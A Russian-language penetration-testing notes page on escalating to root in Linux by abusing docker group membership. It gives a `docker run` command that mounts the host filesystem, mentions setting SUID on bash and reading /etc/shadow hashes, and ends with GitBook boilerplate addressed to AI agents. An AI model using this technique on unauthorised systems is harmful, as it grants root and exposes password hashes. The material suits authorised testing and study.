> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/user-groups/docker-group-linux-privilege-escalation.md).

# Злоупотребление группой docker — повышение привилегий в Linux

## Что это такое

Опасные членства в локальных группах могут раскрывать привилегированные ресурсы без необходимости эксплуатации ядра. Такие группы, как docker, lxd, adm или proxy, могут давать контроль над хостом, доступ к конфиденциальным журналам или путям конфигурации, полезным для бокового перемещения и повышения привилегий до root. Эта конкретная страница посвящена **Группа пользователей (Docker)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
id
groups
```

## Примеры

> В Docker доступ к системным ресурсам управляется иначе, чем в традиционной операционной системе, такой как Linux. Docker использует такие понятия, как образы, контейнеры и тома, чтобы изолировать и выполнять приложения.

С непривилегированным пользователем **jordan**, мы можем **выполнять команды Docker**:

<figure><img src="/files/d1aa0ea76027f9fd1d1d45832771cdf75fbf4c40" alt=""><figcaption></figcaption></figure>

Следующей командой мы запускаем Docker, который \*\*сохраняет root\*\* пользователя root:

```bash
docker run --rm -dit -v /:/mnt/root --name privesc ubuntu
```

Мы также могли бы предоставить **разрешения SUID** Bash:

<figure><img src="/files/ad8321b2f62af687d837d31a9e2cf2be58c85e67" alt=""><figcaption></figcaption></figure>

Когда мы перейдём к **/mnt/etc/shadow** файлу, мы находим хешированные пароли:

<figure><img src="/files/068f605c68ae622022cee38d500fe8e5375fa838" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/user-groups/docker-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
